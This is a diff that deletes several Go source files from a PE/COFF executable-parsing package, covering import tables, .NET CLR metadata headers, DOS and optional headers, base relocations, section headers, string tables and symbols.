|
||||
for _, dt := range ida {
|
||||
dt.DllName, _ = getString(sectionData, int(dt.NameRVA-ds.VirtualAddress))
|
||||
d = sectionData[:]
|
||||
// seek to OriginalFirstThunk
|
||||
d = d[dt.OriginalFirstThunk-ds.VirtualAddress:]
|
||||
for len(d) > 0 {
|
||||
if pe64 { // 64bit
|
||||
va := binary.LittleEndian.Uint64(d[0:8])
|
||||
d = d[8:]
|
||||
if va == 0 {
|
||||
break
|
||||
}
|
||||
if va&0x8000000000000000 > 0 { // is Ordinal
|
||||
// TODO add dynimport ordinal support.
|
||||
} else {
|
||||
fn, _ := getString(sectionData, int(uint32(va)-ds.VirtualAddress+2))
|
||||
all = append(all, fn+":"+dt.DllName)
|
||||
}
|
||||
} else { // 32bit
|
||||
va := binary.LittleEndian.Uint32(d[0:4])
|
||||
d = d[4:]
|
||||
if va == 0 {
|
||||
break
|
||||
}
|
||||
if va&0x80000000 > 0 { // is Ordinal
|
||||
// TODO add dynimport ordinal support.
|
||||
//ord := va&0x0000FFFF
|
||||
} else {
|
||||
fn, _ := getString(sectionData, int(va-ds.VirtualAddress+2))
|
||||
all = append(all, fn+":"+dt.DllName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return all, nil
|
||||
}
|
||||
|
||||
// ImportedLibraries returns the names of all libraries
|
||||
// referred to by the binary f that are expected to be
|
||||
// linked with the binary at dynamic link time.
|
||||
func (f *File) ImportedLibraries() ([]string, error) {
|
||||
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the imports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_IMPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the import data directory entry
|
||||
var idd DataDirectory
|
||||
if pe64 {
|
||||
idd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
} else {
|
||||
idd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the import directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= idd.VirtualAddress && idd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no import libraries were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
sectionData, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// seek to the virtual address specified in the import data directory
|
||||
d := sectionData[idd.VirtualAddress-ds.VirtualAddress:]
|
||||
|
||||
// start decoding the import directory
|
||||
var ida []ImportDirectory
|
||||
for len(d) > 0 {
|
||||
var dt ImportDirectory
|
||||
dt.OriginalFirstThunk = binary.LittleEndian.Uint32(d[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(d[4:8])
|
||||
dt.ForwarderChain = binary.LittleEndian.Uint32(d[8:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(d[12:16])
|
||||
dt.FirstThunk = binary.LittleEndian.Uint32(d[16:20])
|
||||
d = d[20:]
|
||||
if dt.OriginalFirstThunk == 0 {
|
||||
break
|
||||
}
|
||||
ida = append(ida, dt)
|
||||
}
|
||||
var all []string
|
||||
for _, dt := range ida {
|
||||
dt.DllName, _ = getString(sectionData, int(dt.NameRVA-ds.VirtualAddress))
|
||||
all = append(all, dt.DllName)
|
||||
}
|
||||
|
||||
return all, nil
|
||||
}
|
||||
-69
@@ -1,69 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"io"
|
||||
)
|
||||
|
||||
type IMAGE_COR20_HEADER struct {
|
||||
Cb uint32
|
||||
MajorRuntimeVersion uint16
|
||||
MinorRuntimeVersion uint16
|
||||
MetaDataRVA, MetaDataSize uint32
|
||||
Flags uint32 //todo: define flags
|
||||
EntryPointToken uint32
|
||||
ResourcesRVA, ResourcesSize,
|
||||
StrongNameSignatureRVA, StrongNameSignatureSize,
|
||||
CodeManagerTableRVA, CodeManagerTableSize,
|
||||
VTableFixupsRVA, VTableFixupsSize,
|
||||
ExportAddressTableJumpsRVA, ExportAddressTableJumpsSize,
|
||||
ManagedNativeHeaderRVA, ManagedNativeHeaderSize uint32
|
||||
}
|
||||
|
||||
//Net provides a public interface for getting at some net info.
|
||||
type Net struct {
|
||||
NetDirectory IMAGE_COR20_HEADER //Net directory information
|
||||
MetaData NetMetaData //MetaData Header
|
||||
}
|
||||
|
||||
type NetMetaData struct {
|
||||
Signature [4]byte //should be 0x424a4542
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
Reserved uint32
|
||||
VersionLength uint32
|
||||
VersionString []byte
|
||||
Flags uint16 //todo: define flags betterer
|
||||
NumberOfStreams uint16
|
||||
}
|
||||
|
||||
func newMetadataHeader(i io.Reader) (NetMetaData, error) {
|
||||
r := NetMetaData{}
|
||||
|
||||
//todo: error checks/sanity checks
|
||||
binary.Read(i, binary.LittleEndian, &r.Signature)
|
||||
binary.Read(i, binary.LittleEndian, &r.MajorVersion)
|
||||
binary.Read(i, binary.LittleEndian, &r.MinorVersion)
|
||||
binary.Read(i, binary.LittleEndian, &r.Reserved)
|
||||
|
||||
// it appears that this value is terminated by two nulls.. that might be important at some point
|
||||
binary.Read(i, binary.LittleEndian, &r.VersionLength)
|
||||
r.VersionString = make([]byte, r.VersionLength)
|
||||
i.Read(r.VersionString)
|
||||
|
||||
binary.Read(i, binary.LittleEndian, r.Flags)
|
||||
|
||||
return r, nil
|
||||
}
|
||||
|
||||
//NetCLRVersion returns the CLR version specified by the binary. Returns an empty string if not a net binary. String has had trailing nulls stripped.
|
||||
func (f File) NetCLRVersion() string {
|
||||
b := f.Net.MetaData.VersionString
|
||||
for i, x := range b {
|
||||
if x == 0x00 {
|
||||
b = b[:i]
|
||||
break
|
||||
}
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
-153
@@ -1,153 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
type DosHeader struct {
|
||||
MZSignature uint16
|
||||
UsedBytesInTheLastPage uint16
|
||||
FileSizeInPages uint16
|
||||
NumberOfRelocationItems uint16
|
||||
HeaderSizeInParagraphs uint16
|
||||
MinimumExtraParagraphs uint16
|
||||
MaximumExtraParagraphs uint16
|
||||
InitialRelativeSS uint16
|
||||
InitialSP uint16
|
||||
CheckSum uint16
|
||||
InitialIP uint16
|
||||
InitialRelativeCS uint16
|
||||
AddressOfRelocationTable uint16
|
||||
OverlayNumber uint16
|
||||
Reserved [4]uint16
|
||||
OEMid uint16
|
||||
OEMinfo uint16
|
||||
Reserved2 [10]uint16
|
||||
AddressOfNewExeHeader uint32
|
||||
}
|
||||
|
||||
type FileHeader struct {
|
||||
Machine uint16
|
||||
NumberOfSections uint16
|
||||
TimeDateStamp uint32
|
||||
PointerToSymbolTable uint32
|
||||
NumberOfSymbols uint32
|
||||
SizeOfOptionalHeader uint16
|
||||
Characteristics uint16
|
||||
}
|
||||
|
||||
type DataDirectory struct {
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
}
|
||||
|
||||
type OptionalHeader32 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
BaseOfData uint32
|
||||
ImageBase uint32
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint32
|
||||
SizeOfStackCommit uint32
|
||||
SizeOfHeapReserve uint32
|
||||
SizeOfHeapCommit uint32
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]DataDirectory
|
||||
}
|
||||
|
||||
type OptionalHeader64 struct {
|
||||
Magic uint16
|
||||
MajorLinkerVersion uint8
|
||||
MinorLinkerVersion uint8
|
||||
SizeOfCode uint32
|
||||
SizeOfInitializedData uint32
|
||||
SizeOfUninitializedData uint32
|
||||
AddressOfEntryPoint uint32
|
||||
BaseOfCode uint32
|
||||
ImageBase uint64
|
||||
SectionAlignment uint32
|
||||
FileAlignment uint32
|
||||
MajorOperatingSystemVersion uint16
|
||||
MinorOperatingSystemVersion uint16
|
||||
MajorImageVersion uint16
|
||||
MinorImageVersion uint16
|
||||
MajorSubsystemVersion uint16
|
||||
MinorSubsystemVersion uint16
|
||||
Win32VersionValue uint32
|
||||
SizeOfImage uint32
|
||||
SizeOfHeaders uint32
|
||||
CheckSum uint32
|
||||
Subsystem uint16
|
||||
DllCharacteristics uint16
|
||||
SizeOfStackReserve uint64
|
||||
SizeOfStackCommit uint64
|
||||
SizeOfHeapReserve uint64
|
||||
SizeOfHeapCommit uint64
|
||||
LoaderFlags uint32
|
||||
NumberOfRvaAndSizes uint32
|
||||
DataDirectory [16]DataDirectory
|
||||
}
|
||||
|
||||
const (
|
||||
IMAGE_FILE_MACHINE_UNKNOWN = 0x0
|
||||
IMAGE_FILE_MACHINE_AM33 = 0x1d3
|
||||
IMAGE_FILE_MACHINE_AMD64 = 0x8664
|
||||
IMAGE_FILE_MACHINE_ARM = 0x1c0
|
||||
IMAGE_FILE_MACHINE_ARMNT = 0x1c4
|
||||
IMAGE_FILE_MACHINE_ARM64 = 0xaa64
|
||||
IMAGE_FILE_MACHINE_EBC = 0xebc
|
||||
IMAGE_FILE_MACHINE_I386 = 0x14c
|
||||
IMAGE_FILE_MACHINE_IA64 = 0x200
|
||||
IMAGE_FILE_MACHINE_M32R = 0x9041
|
||||
IMAGE_FILE_MACHINE_MIPS16 = 0x266
|
||||
IMAGE_FILE_MACHINE_MIPSFPU = 0x366
|
||||
IMAGE_FILE_MACHINE_MIPSFPU16 = 0x466
|
||||
IMAGE_FILE_MACHINE_POWERPC = 0x1f0
|
||||
IMAGE_FILE_MACHINE_POWERPCFP = 0x1f1
|
||||
IMAGE_FILE_MACHINE_R4000 = 0x166
|
||||
IMAGE_FILE_MACHINE_SH3 = 0x1a2
|
||||
IMAGE_FILE_MACHINE_SH3DSP = 0x1a3
|
||||
IMAGE_FILE_MACHINE_SH4 = 0x1a6
|
||||
IMAGE_FILE_MACHINE_SH5 = 0x1a8
|
||||
IMAGE_FILE_MACHINE_THUMB = 0x1c2
|
||||
IMAGE_FILE_MACHINE_WCEMIPSV2 = 0x169
|
||||
)
|
||||
|
||||
// IMAGE_DIRECTORY_ENTRY constants
|
||||
const (
|
||||
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
|
||||
IMAGE_DIRECTORY_ENTRY_IMPORT = 1
|
||||
IMAGE_DIRECTORY_ENTRY_RESOURCE = 2
|
||||
IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3
|
||||
IMAGE_DIRECTORY_ENTRY_SECURITY = 4
|
||||
IMAGE_DIRECTORY_ENTRY_BASERELOC = 5
|
||||
IMAGE_DIRECTORY_ENTRY_DEBUG = 6
|
||||
IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7
|
||||
IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8
|
||||
IMAGE_DIRECTORY_ENTRY_TLS = 9
|
||||
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10
|
||||
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11
|
||||
IMAGE_DIRECTORY_ENTRY_IAT = 12
|
||||
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13
|
||||
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14
|
||||
)
|
||||
-171
@@ -1,171 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// RelocationTable - for base relocation entries
|
||||
type RelocationTableEntry struct {
|
||||
RelocationBlock
|
||||
BlockItems []BlockItem
|
||||
}
|
||||
|
||||
// RelocationBlock - for base relocation entries
|
||||
type RelocationBlock struct {
|
||||
VirtualAddress uint32
|
||||
SizeOfBlock uint32
|
||||
}
|
||||
|
||||
// BlockItem - relocation block item
|
||||
type BlockItem struct {
|
||||
Type byte // 4 bits
|
||||
Offset uint16 // 12 bits
|
||||
}
|
||||
|
||||
// Reloc represents a PE COFF relocation.
|
||||
// Each section contains its own relocation list.
|
||||
type Reloc struct {
|
||||
VirtualAddress uint32
|
||||
SymbolTableIndex uint32
|
||||
Type uint16
|
||||
}
|
||||
|
||||
const (
|
||||
//IMAGE_REL_BASED_ABSOLUTE - The base relocation is skipped. This type can be used to pad a block.
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
|
||||
//IMAGE_REL_BASED_HIGH = 1
|
||||
//IMAGE_REL_BASED_LOW = 2
|
||||
|
||||
//IMAGE_REL_BASED_HIGHLOW - The base relocation applies all 32 bits of the difference to the 32-bit field at offset.
|
||||
IMAGE_REL_BASED_HIGHLOW = 3
|
||||
|
||||
//IMAGE_REL_BASED_HIGHADJ = 4
|
||||
//IMAGE_REL_BASED_MIPS_JMPADDR = 5
|
||||
//IMAGE_REL_BASED_ARM_MOV32 = 5
|
||||
//IMAGE_REL_BASED_RISCV_HIGH20 = 5
|
||||
//IMAGE_REL_BASED_THUMB_MOV32 = 7
|
||||
//IMAGE_REL_BASED_RISCV_LOW12I = 7
|
||||
//IMAGE_REL_BASED_RISCV_LOW12S = 8
|
||||
//IMAGE_REL_BASED_MIPS_JMPADDR16 = 9
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
)
|
||||
|
||||
// readBaseRelocationTable - reads the base relocation table from the file and stores it
|
||||
func (f *File) readBaseRelocationTable() (*[]RelocationTableEntry, error) {
|
||||
|
||||
if f.OptionalHeader == nil { // Optional header is optional, might not exist
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var dd DataDirectory
|
||||
if f.Machine == IMAGE_FILE_MACHINE_AMD64 {
|
||||
dd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
} else {
|
||||
dd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]
|
||||
}
|
||||
var sectionData []byte
|
||||
var err error
|
||||
for _, section := range f.Sections {
|
||||
if section.VirtualAddress == dd.VirtualAddress {
|
||||
sectionData, err = section.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
r := bytes.NewReader(sectionData)
|
||||
var reloBlocks []RelocationTableEntry
|
||||
bytesRead := uint32(0)
|
||||
for bytesRead < dd.Size {
|
||||
var reloBlock RelocationBlock
|
||||
err = binary.Read(r, binary.LittleEndian, &reloBlock)
|
||||
bytesRead += 8
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read relocation block: %v", err)
|
||||
}
|
||||
numBlocks := (reloBlock.SizeOfBlock - 8) / 2
|
||||
blocks := make([]BlockItem, numBlocks)
|
||||
for i := uint32(0); i < numBlocks; i++ {
|
||||
var buf [2]byte
|
||||
err = binary.Read(r, binary.LittleEndian, &buf)
|
||||
bytesRead += 2
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read relocation block item %d: %v", i, err)
|
||||
}
|
||||
var item BlockItem
|
||||
val := binary.LittleEndian.Uint16(buf[:2])
|
||||
item.Type = byte(val >> 12)
|
||||
item.Offset = val & 0x0fff
|
||||
blocks[i] = item
|
||||
}
|
||||
reloBlocks = append(reloBlocks, RelocationTableEntry{reloBlock, blocks})
|
||||
}
|
||||
return &reloBlocks, nil
|
||||
}
|
||||
|
||||
// Relocate - performs base relocations on this image to the given offset
|
||||
func (f *File) Relocate(baseAddr uint64, image *[]byte) {
|
||||
var imageBase uint64
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
if pe64 {
|
||||
imageBase = f.OptionalHeader.(*OptionalHeader64).ImageBase
|
||||
} else {
|
||||
imageBase = uint64(f.OptionalHeader.(*OptionalHeader32).ImageBase)
|
||||
}
|
||||
for _, block := range *f.BaseRelocationTable {
|
||||
pageRVA := block.VirtualAddress
|
||||
for _, item := range block.BlockItems {
|
||||
if item.Type == IMAGE_REL_BASED_HIGHLOW { // 32 bit
|
||||
delta := uint32(baseAddr - imageBase)
|
||||
fileOffset := f.RVAToFileOffset(pageRVA)
|
||||
idx := fileOffset + uint32(item.Offset)
|
||||
originalAddress := binary.LittleEndian.Uint32((*image)[idx : idx+4])
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, originalAddress+delta)
|
||||
copy((*image)[idx:idx+4], b)
|
||||
} else if item.Type == IMAGE_REL_BASED_DIR64 { // 64 bit
|
||||
delta := baseAddr - imageBase
|
||||
fileOffset := f.RVAToFileOffset(pageRVA)
|
||||
idx := fileOffset + uint32(item.Offset)
|
||||
originalAddress := binary.LittleEndian.Uint64((*image)[idx : idx+8])
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, originalAddress+delta)
|
||||
copy((*image)[idx:idx+8], b)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// update imageBase in the optional header
|
||||
if pe64 {
|
||||
b := make([]byte, 8)
|
||||
binary.LittleEndian.PutUint64(b, baseAddr)
|
||||
idx := f.OptionalHeaderOffset + 24
|
||||
copy((*image)[idx:idx+8], b)
|
||||
} else {
|
||||
b := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(b, uint32(baseAddr))
|
||||
idx := f.OptionalHeaderOffset + 28
|
||||
copy((*image)[idx:idx+4], b)
|
||||
}
|
||||
}
|
||||
|
||||
func readRelocs(sh *SectionHeader, r io.ReadSeeker) ([]Reloc, error) {
|
||||
if sh.NumberOfRelocations <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
_, err := r.Seek(int64(sh.PointerToRelocations), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to %q section relocations: %v", sh.Name, err)
|
||||
}
|
||||
relocs := make([]Reloc, sh.NumberOfRelocations)
|
||||
err = binary.Read(r, binary.LittleEndian, relocs)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read section relocations: %v", err)
|
||||
}
|
||||
return relocs, nil
|
||||
}
|
||||
-103
@@ -1,103 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"io"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
// SectionHeader32 represents real PE COFF section header.
|
||||
type SectionHeader32 struct {
|
||||
Name [8]uint8
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
SizeOfRawData uint32
|
||||
PointerToRawData uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLineNumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLineNumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
// fullName finds real name of section sh. Normally name is stored
|
||||
// in sh.Name, but if it is longer then 8 characters, it is stored
|
||||
// in COFF string table st instead.
|
||||
func (sh *SectionHeader32) fullName(st StringTable) (string, error) {
|
||||
if sh.Name[0] != '/' {
|
||||
return cstring(sh.Name[:]), nil
|
||||
}
|
||||
i, err := strconv.Atoi(cstring(sh.Name[1:]))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return st.String(uint32(i))
|
||||
}
|
||||
|
||||
// SectionHeader is similar to SectionHeader32 with Name
|
||||
// field replaced by Go string. OriginalName is the
|
||||
// original name of the section on disk.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
OriginalName [8]uint8
|
||||
VirtualSize uint32
|
||||
VirtualAddress uint32
|
||||
Size uint32
|
||||
Offset uint32
|
||||
PointerToRelocations uint32
|
||||
PointerToLineNumbers uint32
|
||||
NumberOfRelocations uint16
|
||||
NumberOfLineNumbers uint16
|
||||
Characteristics uint32
|
||||
}
|
||||
|
||||
// Section provides access to PE COFF section.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
Relocs []Reloc
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the PE section s.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
|
||||
if s.sr == nil { // This section was added from code, the internal SectionReader is nil
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
dat := make([]byte, s.sr.Size())
|
||||
n, err := s.sr.ReadAt(dat, 0)
|
||||
if n == len(dat) {
|
||||
err = nil
|
||||
}
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the PE section s.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
|
||||
// Section Flags (Characteristics field)
|
||||
const (
|
||||
IMAGE_SCN_CNT_CODE = 0x00000020 // Section contains code
|
||||
IMAGE_SCN_MEM_EXECUTE = 0x20000000 // Section is executable
|
||||
IMAGE_SCN_MEM_READ = 0x40000000 // Section is readable
|
||||
|
||||
IMAGE_FILE_RELOCS_STRIPPED = 0x0001 // Relocation info stripped from file
|
||||
|
||||
IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x0100 // Image is NX compatable
|
||||
|
||||
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x0040 // DLL can move
|
||||
)
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// cstring converts ASCII byte sequence b to string.
|
||||
// It stops once it finds 0 or reaches end of b.
|
||||
func cstring(b []byte) string {
|
||||
i := bytes.IndexByte(b, 0)
|
||||
if i == -1 {
|
||||
i = len(b)
|
||||
}
|
||||
return string(b[:i])
|
||||
}
|
||||
|
||||
// StringTable is a COFF string table.
|
||||
type StringTable []byte
|
||||
|
||||
func readStringTable(fh *FileHeader, r io.ReadSeeker) (StringTable, error) {
|
||||
// COFF string table is located right after COFF symbol table.
|
||||
if fh.PointerToSymbolTable <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
offset := fh.PointerToSymbolTable + COFFSymbolSize*fh.NumberOfSymbols
|
||||
_, err := r.Seek(int64(offset), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to string table: %v", err)
|
||||
}
|
||||
var l uint32
|
||||
err = binary.Read(r, binary.LittleEndian, &l)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read string table length: %v", err)
|
||||
}
|
||||
// string table length includes itself
|
||||
if l <= 4 {
|
||||
return nil, nil
|
||||
}
|
||||
l -= 4
|
||||
buf := make([]byte, l)
|
||||
_, err = io.ReadFull(r, buf)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read string table: %v", err)
|
||||
}
|
||||
// re-add the length to the first four bytes of the string table
|
||||
lbuf := make([]byte, 4)
|
||||
binary.LittleEndian.PutUint32(lbuf, l)
|
||||
|
||||
return StringTable(append(lbuf, buf...)), nil
|
||||
}
|
||||
|
||||
// String extracts string from COFF string table st at offset start.
|
||||
func (st StringTable) String(start uint32) (string, error) {
|
||||
// start includes 4 bytes of string table length
|
||||
if start < 4 {
|
||||
return "", fmt.Errorf("offset %d is before the start of string table", start)
|
||||
}
|
||||
//start -= 4 // we are now including the uint32 length in the StringTable buffer as a prefix, this might change
|
||||
if int(start) > len(st) {
|
||||
return "", fmt.Errorf("offset %d is beyond the end of string table", start)
|
||||
}
|
||||
return cstring(st[start:]), nil
|
||||
}
|
||||
-98
@@ -1,98 +0,0 @@
|
||||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
const COFFSymbolSize = 18
|
||||
|
||||
// COFFSymbol represents single COFF symbol table record.
|
||||
type COFFSymbol struct {
|
||||
Name [8]uint8
|
||||
Value uint32
|
||||
SectionNumber int16
|
||||
Type uint16
|
||||
StorageClass uint8
|
||||
NumberOfAuxSymbols uint8
|
||||
}
|
||||
|
||||
func readCOFFSymbols(fh *FileHeader, r io.ReadSeeker) ([]COFFSymbol, error) {
|
||||
if fh.PointerToSymbolTable == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
if fh.NumberOfSymbols <= 0 {
|
||||
return nil, nil
|
||||
}
|
||||
_, err := r.Seek(int64(fh.PointerToSymbolTable), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to symbol table: %v", err)
|
||||
}
|
||||
syms := make([]COFFSymbol, fh.NumberOfSymbols)
|
||||
err = binary.Read(r, binary.LittleEndian, syms)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read symbol table: %v", err)
|
||||
}
|
||||
return syms, nil
|
||||
}
|
||||
|
||||
// isSymNameOffset checks symbol name if it is encoded as offset into string table.
|
||||
func isSymNameOffset(name [8]byte) (bool, uint32) {
|
||||
if name[0] == 0 && name[1] == 0 && name[2] == 0 && name[3] == 0 {
|
||||
return true, binary.LittleEndian.Uint32(name[4:])
|
||||
}
|
||||
return false, 0
|
||||
}
|
||||
|
||||
// FullName finds real name of symbol sym. Normally name is stored
|
||||
// in sym.Name, but if it is longer then 8 characters, it is stored
|
||||
// in COFF string table st instead.
|
||||
func (sym *COFFSymbol) FullName(st StringTable) (string, error) {
|
||||
if ok, offset := isSymNameOffset(sym.Name); ok {
|
||||
return st.String(offset)
|
||||
}
|
||||
return cstring(sym.Name[:]), nil
|
||||
}
|
||||
|
||||
func removeAuxSymbols(allsyms []COFFSymbol, st StringTable) ([]*Symbol, error) {
|
||||
if len(allsyms) == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
syms := make([]*Symbol, 0)
|
||||
aux := uint8(0)
|
||||
for _, sym := range allsyms {
|
||||
if aux > 0 {
|
||||
aux--
|
||||
continue
|
||||
}
|
||||
name, err := sym.FullName(st)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aux = sym.NumberOfAuxSymbols
|
||||
s := &Symbol{
|
||||
Name: name,
|
||||
Value: sym.Value,
|
||||
SectionNumber: sym.SectionNumber,
|
||||
Type: sym.Type,
|
||||
StorageClass: sym.StorageClass,
|
||||
}
|
||||
syms = append(syms, s)
|
||||
}
|
||||
return syms, nil
|
||||
}
|
||||
|
||||
// Symbol is similar to COFFSymbol with Name field replaced
|
||||
// by Go string. Symbol also does not have NumberOfAuxSymbols.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
Value uint32
|
||||
SectionNumber int16
|
||||
Type uint16
|
||||
StorageClass uint8
|
||||
}
|
||||
-195
@@ -1,195 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"os"
|
||||
)
|
||||
|
||||
func (peFile *File) Bytes() ([]byte, error) {
|
||||
var bytesWritten uint64
|
||||
peBuf := bytes.NewBuffer(nil)
|
||||
|
||||
// write DOS header and stub
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.DosHeader)
|
||||
bytesWritten += uint64(binary.Size(peFile.DosHeader))
|
||||
if peFile.DosExists {
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.DosStub)
|
||||
bytesWritten += uint64(binary.Size(peFile.DosStub))
|
||||
}
|
||||
|
||||
// write Rich header
|
||||
if peFile.RichHeader != nil {
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.RichHeader)
|
||||
bytesWritten += uint64(len(peFile.RichHeader))
|
||||
}
|
||||
|
||||
// apply padding before PE header if necessary
|
||||
if uint32(bytesWritten) != peFile.DosHeader.AddressOfNewExeHeader {
|
||||
padding := make([]byte, peFile.DosHeader.AddressOfNewExeHeader-uint32(bytesWritten))
|
||||
binary.Write(peBuf, binary.LittleEndian, padding)
|
||||
